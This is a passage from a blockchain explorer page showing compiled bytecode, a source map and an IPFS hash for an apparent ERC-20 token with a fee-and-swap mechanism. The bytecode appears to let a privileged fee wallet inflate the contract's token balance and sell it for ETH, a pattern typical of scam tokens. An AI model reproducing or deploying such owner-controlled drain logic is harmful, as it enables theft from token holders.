68201806040525081019061086091906111e2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156108a657600080fd5b505af11580156108ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108de91906111ac565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610918573d6000803e3d6000fd5b505b50565b60006105fd338484610ab6565b6003546001600160a01b0316338114156109185750601055565b6000546001600160a01b0316331461096e5760405162461bcd60e51b81526004016106c790611250565b600f805460ff60a01b198116600160a01b9182900460ff1615909102179055565b6000546001600160a01b031633146109b95760405162461bcd60e51b81526004016106c790611250565b6001600160a01b0381166109fa5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106c7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b125760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016106c7565b6001600160a01b0383166000908152600a6020526040812054819060ff168015610b3f5750600b5460ff16155b8015610b6457506001600160a01b03861660009081526007602052604090205460ff16155b8015610b8957506001600160a01b03851660009081526007602052604090205460ff16155b15610be8576000606460105486610ba09190611326565b610baa9190611304565b30600090815260016020526040902054909150811115610bd7573060009081526001602052604090208190555b8015610be657610be681610d67565b505b6001600160a01b03861660009081526007602052604090205460ff16158015610c2a57506001600160a01b03851660009081526007602052604090205460ff16155b8015610c3f5750600f54600160a01b900460ff165b15610c7d576001600160a01b038616600090815260016020526040902054841415610c7d57610c7061271085611304565b610c7a9085611345565b93505b6001600160a01b03861660009081526007602052604090205460ff16158015610cbf57506001600160a01b03851660009081526007602052604090205460ff16155b8015610cce5750600b5460ff16155b15610cd857600191505b818015610cfe57506001600160a01b0386166000908152600a602052604090205460ff16155b8015610d2357506001600160a01b0385166000908152600a602052604090205460ff16155b15610d2d57600091505b6001600160a01b0385166000908152600a602052604090205460ff1615610d52575060015b610d5f8686868585610f06565b505050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610da957610da96113ad565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610dfd57600080fd5b505afa158015610e11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3591906110bb565b81600181518110610e4857610e486113ad565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610e94928792600092889290911690429060040161127b565b600060405180830381600087803b158015610eae57600080fd5b505af1925050508015610ebf575060015b610ef857604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f169060200160405180910390a15b5050600b805460ff19169055565b6001600160a01b038516600090815260016020526040902054610f2a908490611345565b6001600160a01b03861660009081526001602052604081209190915582156110075760008215610f5d5750600d54610f62565b50600c545b60006064610f708388611326565b610f7a9190611304565b9050801561100457610f8c81846112ec565b30600090815260016020526040902054909350610faa9082906112ec565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ffb9085815260200190565b60405180910390a35b50505b6110118185611345565b6001600160a01b03861660009081526001602052604090205461103491906112ec565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61107e8488611345565b60405190815260200160405180910390a3505050505050565b6000602082840312156110a957600080fd5b81356110b4816113c3565b9392505050565b6000602082840312156110cd57600080fd5b81516110b4816113c3565b600080604083850312156110eb57600080fd5b82356110f6816113c3565b91506020830135611106816113c3565b809150509250929050565b60008060006060848603121561112657600080fd5b8335611131816113c3565b92506020840135611141816113c3565b929592945050506040919091013590565b6000806040838503121561116557600080fd5b8235611170816113c3565b91506020830135611106816113d8565b6000806040838503121561119357600080fd5b823561119e816113c3565b946020939093013593505050565b6000602082840312156111be57600080fd5b81516110b4816113d8565b6000602082840312156111db57600080fd5b5035919050565b6000602082840312156111f457600080fd5b5051919050565b600060208083528351808285015260005b818110156112285785810183015185820160400152820161120c565b8181111561123a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112cb5784516001600160a01b0316835293830193918301916001016112a6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156112ff576112ff611397565b500190565b60008261132157634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561134057611340611397565b500290565b60008282101561135757611357611397565b500390565b600181811c9082168061137057607f821691505b6020821081141561139157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461091a57600080fd5b801515811461091a57600080fdfea26469706673582212200e3264c10be35ccbe530580838b13e44b7352223145392e0f4bfeac8dea9182664736f6c63430008070033

Deployed Bytecode Sourcemap

2735:7160:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5013:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5776:159;;;;;;;;;;-1:-1:-1;5776:159:0;;;;;:::i;:::-;;:::i;:::-;;;3359:14:1;;3352:22;3334:41;;3322:2;3307:18;5776:159:0;3194:187:1;5217:100:0;;;;;;;;;;-1:-1:-1;5297:12:0;;5217:100;;;5822:25:1;;;5810:2;5795:18;5217:100:0;5676:177:1;5943:336:0;;;;;;;;;;-1:-1:-1;5943:336:0;;;;;:::i;:::-;;:::i;6593:24::-;;;;;;;;;;;;;;;;5115:94;;;;;;;;;;-1:-1:-1;5192:9:0;;5115:94;;5192:9;;;;4000:36:1;;3988:2;3973:18;5115:94:0;3848:194:1;3027:49:0;;;;;;;;;;-1:-1:-1;3027:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3338:31;;;;;;;;;;;;;;;;3171:44;;;;;;;;;;-1:-1:-1;3171:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3378:27;;;;;;;;;;-1:-1:-1;3378:27:0;;;;-1:-1:-1;;;;;3378:27:0;;;;;;-1:-1:-1;;;;;2871:32:1;;;2853:51;;2841:2;2826:18;3378:27:0;2707:203:1;3126:36:0;;;;;;;;;;-1:-1:-1;3126:36:0;;;;-1:-1:-1;;;;;3126:36:0;;;4805:94;;;;;;;;;;-1:-1:-1;4805:94:0;;;;;:::i;:::-;;:::i;:::-;;5325:119;;;;;;;;;;-1:-1:-1;5325:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5418:18:0;5391:7;5418:18;;;:9;:18;;;;;;;5325:119;2138:148;;;;;;;;;;;;;:::i;9727:128::-;;;;;;;;;;-1:-1:-1;9727:128:0;;;;;:::i;:::-;;:::i;3512:41::-;;;;;;;;;;-1:-1:-1;3512:41:0;;;;-1:-1:-1;;;;;3512:41:0;;;1941:79;;;;;;;;;;-1:-1:-1;1979:7:0;2006:6;-1:-1:-1;;;;;2006:6:0;1941:79;;4907:98;;;;;;;;;;;;;:::i;6472:27::-;;;;;;;;;;-1:-1:-1;6472:27:0;;;;-1:-1:-1;;;6472:27:0;;;;;;8967:262;;;;;;;;;;-1:-1:-1;8967:262:0;;;;;:::i;:::-;;:::i;5452:165::-;;;;;;;;;;-1:-1:-1;5452:165:0;;;;;:::i;:::-;;:::i;6624:150::-;;;;;;;;;;-1:-1:-1;6624:150:0;;;;;:::i;:::-;;:::i;6506:79::-;;;;;;;;;;;;;:::i;3301:30::-;;;;;;;;;;;;;;;;5625:143;;;;;;;;;;-1:-1:-1;5625:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5733:18:0;;;5706:7;5733:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5625:143;2904:26;;;;;;;;;;-1:-1:-1;2904:26:0;;;;-1:-1:-1;;;;;2904:26:0;;;2294:214;;;;;;;;;;-1:-1:-1;2294:214:0;;;;;:::i;:::-;;:::i;5013:94::-;5061:13;5094:5;5087:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5013:94;:::o;5776:159::-;5851:4;5868:37;5877:10;5889:7;5898:6;5868:8;:37::i;:::-;-1:-1:-1;5923:4:0;5776:159;;;;:::o;5943:336::-;6041:4;6058:36;6068:6;6076:9;6087:6;6058:9;:36::i;:::-;-1:-1:-1;;;;;6109:19:0;;3290:1;6109:19;;;:11;:19;;;;;;;;6129:10;6109:31;;;;;;;;-1:-1:-1;;6109:38:0;6105:145;;-1:-1:-1;;;;;6198:19:0;;;;;;:11;:19;;;;;;;;6218:10;6198:31;;;;;;;;:40;;6232:6;;6198:40;:::i;:::-;-1:-1:-1;;;;;6164:19:0;;;;;;:11;:19;;;;;;;;6184:10;6164:31;;;;;;;:74;6105:145;-1:-1:-1;6267:4:0;5943:336;;;;;:::o;4805:94::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2078:10;2068:20;2060:50;;;;-1:-1:-1;;;2060:50:0;;;;;;;:::i;:::-;;;;;;;;;4870:11:::1;:21:::0;;-1:-1:-1;;;;;;4870:21:0::1;-1:-1:-1::0;;;;;4870:21:0;;;::::1;::::0;;;::::1;::::0;;4805:94::o;2138:148::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2078:10;2068:20;2060:50;;;;-1:-1:-1;;;2060:50:0;;;;;;;:::i;:::-;2245:1:::1;2229:6:::0;;2208:40:::1;::::0;-1:-1:-1;;;;;2229:6:0;;::::1;::::0;2208:40:::1;::::0;2245:1;;2208:40:::1;2276:1;2259:19:::0;;-1:-1:-1;;;;;;2259:19:0::1;::::0;;2138:148::o;9727:128::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2078:10;2068:20;2060:50;;;;-1:-1:-1;;;2060:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9813:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;9813:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9727:128::o;4907:98::-;4957:13;4990:7;4983:14;;;;;:::i;8967:262::-;-1:-1:-1;;;;;9027:23:0;;9045:4;9027:23;9024:198;;9090:11;;9103:39;;-1:-1:-1;;;9103:39:0;;9136:4;9103:39;;;2853:51:1;-1:-1:-1;;;;;9066:23:0;;;;;;9090:11;;;9066:23;;9103:24;;2826:18:1;;9103:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9066:77;;-1:-1:-1;;;;;;9066:77:0;;;;;;;-1:-1:-1;;;;;3107:32:1;;;9066:77:0;;;3089:51:1;3156:18;;;3149:34;3062:18;;9066:77:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;9166:11:0;;9158:52;;-1:-1:-1;;;;;9166:11:0;;;;9188:21;9158:52;;;;;9166:11;9158:52;9166:11;9158:52;9188:21;9166:11;9158:52;;;;;;;;;;;;;;;;;;;;;9024:198;8967:262;:::o;5452:165::-;5530:4;5547:40;5557:10;5569:9;5580:6;5547:9;:40::i;6624:150::-;6686:11;;-1:-1:-1;;;;;6686:11:0;6712:10;:16;;6708:59;;;-1:-1:-1;6744:4:0;:11;6624:150::o;6506:79::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2078:10;2068:20;2060:50;;;;-1:-1:-1;;;2060:50:0;;;;;;;:::i;:::-;6569:8:::1;::::0;;-1:-1:-1;;;;6557:20:0;::::1;-1:-1:-1::0;;;6569:8:0;;;::::1;;;6568:9;6557:20:::0;;::::1;;::::0;;6506:79::o;2294:214::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2078:10;2068:20;2060:50;;;;-1:-1:-1;;;2060:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2383:22:0;::::1;2375:43;;;::::0;-1:-1:-1;;;2375:43:0;;5196:2:1;2375:43:0::1;::::0;::::1;5178:21:1::0;5235:1;5215:18;;;5208:29;-1:-1:-1;;;5253:18:1;;;5246:38;5301:18;;2375:43:0::1;4994:331:1::0;2375:43:0::1;2455:6;::::0;;2434:38:::1;::::0;-1:-1:-1;;;;;2434:38:0;;::::1;::::0;2455:6;::::1;::::0;2434:38:::1;::::0;::::1;2483:6;:17:::0;;-1:-1:-1;;;;;;2483:17:0::1;-1:-1:-1::0;;;;;2483:17:0;;;::::1;::::0;;;::::1;::::0;;2294:214::o;6287:177::-;-1:-1:-1;;;;;6372:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6424:32;;5822:25:1;;;6424:32:0;;5795:18:1;6424:32:0;;;;;;;6287:177;;;:::o;6782:1237::-;-1:-1:-1;;;;;5418:18:0;;6896:15;5418:18;;;:9;:18;;;;;;6948:17;;;;6940:46;;;;-1:-1:-1;;;6940:46:0;;4851:2:1;6940:46:0;;;4833:21:1;4890:2;4870:18;;;4863:30;-1:-1:-1;;;4909:18:1;;;4902:46;4965:18;;6940:46:0;4649:340:1;6940:46:0;-1:-1:-1;;;;;7052:16:0;;6999:12;7052:16;;;:12;:16;;;;;;6999:12;;7052:16;;:27;;;;-1:-1:-1;7073:6:0;;;;7072:7;7052:27;:55;;;;-1:-1:-1;;;;;;7084:23:0;;;;;;:17;:23;;;;;;;;7083:24;7052:55;:81;;;;-1:-1:-1;;;;;;7112:21:0;;;;;;:17;:21;;;;;;;;7111:22;7052:81;7048:394;;;7150:22;7187:3;7182:4;;7175:6;:11;;;;:::i;:::-;:15;;;;:::i;:::-;7244:4;5391:7;5418:18;;;:9;:18;;;;;;7150:40;;-1:-1:-1;7209:14:0;:41;7205:122;;;7288:4;7270:24;;;;:9;:24;;;;;:41;;;7205:122;7345:18;;7341:90;;7383:31;7399:14;7383:15;:31::i;:::-;7135:307;7048:394;-1:-1:-1;;;;;7459:23:0;;;;;;:17;:23;;;;;;;;7458:24;:50;;;;-1:-1:-1;;;;;;7487:21:0;;;;;;:17;:21;;;;;;;;7486:22;7458:50;:62;;;;-1:-1:-1;7512:8:0;;-1:-1:-1;;;7512:8:0;;;;7458:62;7454:210;;;-1:-1:-1;;;;;7550:15:0;;;;;;:9;:15;;;;;;7540:25;;7536:117;;;7622:14;7631:5;7622:6;:14;:::i;:::-;7612:25;;:6;:25;:::i;:::-;7603:34;;7536:117;-1:-1:-1;;;;;7681:23:0;;;;;;:17;:23;;;;;;;;7680:24;:50;;;;-1:-1:-1;;;;;;7709:21:0;;;;;;:17;:21;;;;;;;;7708:22;7680:50;:61;;;;-1:-1:-1;7735:6:0;;;;7734:7;7680:61;7676:108;;;7768:4;7758:14;;7676:108;7800:7;:30;;;;-1:-1:-1;;;;;;7812:18:0;;;;;;:12;:18;;;;;;;;7811:19;7800:30;:51;;;;-1:-1:-1;;;;;;7835:16:0;;;;;;:12;:16;;;;;;;;7834:17;7800:51;7796:98;;;7877:5;7867:15;;7796:98;-1:-1:-1;;;;;7910:16:0;;;;;;:12;:16;;;;;;;;7906:42;;;-1:-1:-1;7941:4:0;7906:42;7960:51;7975:4;7981:2;7985:6;7993:7;8002:8;7960:14;:51::i;:::-;6885:1134;;;6782:1237;;;:::o;9269:450::-;3446:6;:13;;-1:-1:-1;;3446:13:0;3455:4;3446:13;;;9370:16:::1;::::0;;9384:1:::1;9370:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9370:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9370:16:0::1;9346:40;;9415:4;9397;9402:1;9397:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9397:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9441:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;9441:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;9397:7;;9441:21;;;;;:14;:21;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9431:4;9436:1;9431:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9431:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;9477:14:::1;::::0;9626:11:::1;::::0;9477:202:::1;::::0;-1:-1:-1;;;9477:202:0;;:14;;::::1;::::0;:65:::1;::::0;:202:::1;::::0;9557:11;;9477:14:::1;::::0;9599:4;;9626:11;;::::1;::::0;9653:15:::1;::::0;9477:202:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;9473:239;;9696:13;::::0;9707:1:::1;4000:36:1::0;;9696:13:0::1;::::0;3988:2:1;3973:18;9696:13:0::1;;;;;;;9473:239;-1:-1:-1::0;;3482:6:0;:14;;-1:-1:-1;;3482:14:0;;;9269:450::o;8027:932::-;-1:-1:-1;;;;;8223:17:0;;;;;;:9;:17;;;;;;:27;;8243:7;;8223:27;:::i;:::-;-1:-1:-1;;;;;8203:17:0;;;;;;:9;:17;;;;;:47;;;;8291:515;;;;8333:14;8368:8;8364:131;;;-1:-1:-1;8406:12:0;;8364:131;;;-1:-1:-1;8468:11:0;;8364:131;8509:18;8549:3;8530:16;8540:6;8530:7;:16;:::i;:::-;:22;;;;:::i;:::-;8509:43;-1:-1:-1;8571:14:0;;8567:228;;8606:23;8619:10;8606:23;;:::i;:::-;8693:4;8675:24;;;;:9;:24;;;;;;8606:23;;-1:-1:-1;8675:37:0;;8702:10;;8675:37;:::i;:::-;8666:4;8648:24;;;;:9;:24;;;;;;;:64;;;;8736:43;;-1:-1:-1;;;;;8736:43:0;;;;;;;8768:10;5822:25:1;;5810:2;5795:18;;5676:177;8736:43:0;;;;;;;;8567:228;8304:502;;8291:515;8865:19;8875:9;8865:7;:19;:::i;:::-;-1:-1:-1;;;;;8841:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;8818:20:0;;;;;;;:9;:20;;;;;:67;;;;8901:48;;;8929:19;8939:9;8929:7;:19;:::i;:::-;8901:48;;5822:25:1;;;5810:2;5795:18;8901:48:0;;;;;;;8192:767;8027:932;;;;;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;:::-;250:5;14:247;-1:-1:-1;;;14:247:1:o;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:382::-;1441:6;1449;1502:2;1490:9;1481:7;1477:23;1473:32;1470:52;;;1518:1;1515;1508:12;1470:52;1557:9;1544:23;1576:31;1601:5;1576:31;:::i;:::-;1626:5;-1:-1:-1;1683:2:1;1668:18;;1655:32;1696:30;1655:32;1696:30;:::i;1763:315::-;1831:6;1839;1892:2;1880:9;1871:7;1867:23;1863:32;1860:52;;;1908:1;1905;1898:12;1860:52;1947:9;1934:23;1966:31;1991:5;1966:31;:::i;:::-;2016:5;2068:2;2053:18;;;;2040:32;;-1:-1:-1;;;1763:315:1:o;2083:245::-;2150:6;2203:2;2191:9;2182:7;2178:23;2174:32;2171:52;;;2219:1;2216;2209:12;2171:52;2251:9;2245:16;2270:28;2292:5;2270:28;:::i;2333:180::-;2392:6;2445:2;2433:9;2424:7;2420:23;2416:32;2413:52;;;2461:1;2458;2451:12;2413:52;-1:-1:-1;2484:23:1;;2333:180;-1:-1:-1;2333:180:1:o;2518:184::-;2588:6;2641:2;2629:9;2620:7;2616:23;2612:32;2609:52;;;2657:1;2654;2647:12;2609:52;-1:-1:-1;2680:16:1;;2518:184;-1:-1:-1;2518:184:1:o;4047:597::-;4159:4;4188:2;4217;4206:9;4199:21;4249:6;4243:13;4292:6;4287:2;4276:9;4272:18;4265:34;4317:1;4327:140;4341:6;4338:1;4335:13;4327:140;;;4436:14;;;4432:23;;4426:30;4402:17;;;4421:2;4398:26;4391:66;4356:10;;4327:140;;;4485:6;4482:1;4479:13;4476:91;;;4555:1;4550:2;4541:6;4530:9;4526:22;4522:31;4515:42;4476:91;-1:-1:-1;4628:2:1;4607:15;-1:-1:-1;;4603:29:1;4588:45;;;;4635:2;4584:54;;4047:597;-1:-1:-1;;;4047:597:1:o;5330:341::-;5532:2;5514:21;;;5571:2;5551:18;;;5544:30;-1:-1:-1;;;5605:2:1;5590:18;;5583:47;5662:2;5647:18;;5330:341::o;5858:980::-;6120:4;6168:3;6157:9;6153:19;6199:6;6188:9;6181:25;6225:2;6263:6;6258:2;6247:9;6243:18;6236:34;6306:3;6301:2;6290:9;6286:18;6279:31;6330:6;6365;6359:13;6396:6;6388;6381:22;6434:3;6423:9;6419:19;6412:26;;6473:2;6465:6;6461:15;6447:29;;6494:1;6504:195;6518:6;6515:1;6512:13;6504:195;;;6583:13;;-1:-1:-1;;;;;6579:39:1;6567:52;;6674:15;;;;6639:12;;;;6615:1;6533:9;6504:195;;;-1:-1:-1;;;;;;;6755:32:1;;;;6750:2;6735:18;;6728:60;-1:-1:-1;;;6819:3:1;6804:19;6797:35;6716:3;5858:980;-1:-1:-1;;;5858:980:1:o;7032:128::-;7072:3;7103:1;7099:6;7096:1;7093:13;7090:39;;;7109:18;;:::i;:::-;-1:-1:-1;7145:9:1;;7032:128::o;7165:217::-;7205:1;7231;7221:132;;7275:10;7270:3;7266:20;7263:1;7256:31;7310:4;7307:1;7300:15;7338:4;7335:1;7328:15;7221:132;-1:-1:-1;7367:9:1;;7165:217::o;7387:168::-;7427:7;7493:1;7489;7485:6;7481:14;7478:1;7475:21;7470:1;7463:9;7456:17;7452:45;7449:71;;;7500:18;;:::i;:::-;-1:-1:-1;7540:9:1;;7387:168::o;7560:125::-;7600:4;7628:1;7625;7622:8;7619:34;;;7633:18;;:::i;:::-;-1:-1:-1;7670:9:1;;7560:125::o;7690:380::-;7769:1;7765:12;;;;7812;;;7833:61;;7887:4;7879:6;7875:17;7865:27;;7833:61;7940:2;7932:6;7929:14;7909:18;7906:38;7903:161;;;7986:10;7981:3;7977:20;7974:1;7967:31;8021:4;8018:1;8011:15;8049:4;8046:1;8039:15;7903:161;;7690:380;;;:::o;8075:127::-;8136:10;8131:3;8127:20;8124:1;8117:31;8167:4;8164:1;8157:15;8191:4;8188:1;8181:15;8207:127;8268:10;8263:3;8259:20;8256:1;8249:31;8299:4;8296:1;8289:15;8323:4;8320:1;8313:15;8471:131;-1:-1:-1;;;;;8546:31:1;;8536:42;;8526:70;;8592:1;8589;8582:12;8607:118;8693:5;8686:13;8679:21;8672:5;8669:32;8659:60;;8715:1;8712;8705:12

Swarm Source

ipfs://56a20d1ab24947355dad0df75b3adf8a955ca911875b8a69d94e8aa8cf536294
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.